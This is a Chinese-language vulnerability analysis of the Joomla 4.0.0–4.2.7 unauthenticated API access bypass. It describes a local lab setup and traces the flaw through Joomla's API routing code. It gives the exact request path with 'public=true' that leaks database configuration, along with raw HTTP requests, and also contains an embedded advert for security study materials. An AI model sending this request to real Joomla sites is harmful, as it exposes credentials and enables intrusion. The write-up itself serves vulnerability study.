漏洞简介

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息影响版本  4.0.0 <= Joomla <= 4.2.7

Stable-Full_Package.zip?format=zip

利用 phpstudy 搭建漏洞环境【----帮助网安学习,需要网安学习资料,私信回复“资料”获取----】① 网安学习成长路径思维导图② 60+网安经典常用工具包③ 100+SRC漏洞分析报告④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库⑥ 超1800页CTF实战技巧手册⑦ 最新网安大厂面试题合集(含答案)⑧ APP客户端安全检测指南(安卓+IOS)  我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试

  安装完成后  前台

  后台

漏洞复现  构造路由 /api/index.php/v1/config/application?public=true  返回了数据库的相关信息

漏洞分析  经过调试分析发现是对 api 路径下的身份校验进行了绕过,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}  所以就针对于 api 路径下的身份校验进行具体分析

api/index.php

api/includes/app.php

\Joomla\CMS\Application\CMSApplication::execute

\Joomla\CMS\Application\ApiApplication::doExecute

其中的 $this->route(); 对应了路由应用程序\Joomla\CMS\Application\ApiApplication::route

$router 对应了 api 下所有的路由信息,之后调用 parseApiRoute 对路由进行处理\Joomla\CMS\Router\ApiRouter::parseApiRoute

当 public 为false 时,是禁止外部访问的GET/api/index.php/v1/config/applicationHTTP/1.1Host: joomla.testUpgrade-Insecure

-Requests: 1User-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)

Chrome/85.0.4183.83Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif

,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9Cookie:XDEBUG_SESSION=PHPSTORMConnection: close

‍  但是通过路径传入的值在之后可以覆盖替换原本的值

GET/api/index.php/v1/config/application?public=trueHTTP/1.1Host: joomla.testUpgrade-Insecure-Requests

: 1User-Agent: Mozilla/5.0 (WindowsNT10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/85.0

.4183.83Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp

,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9

Cookie:XDEBUG_SESSION=PHPSTORMConnection: close  ‍

‍举报/反馈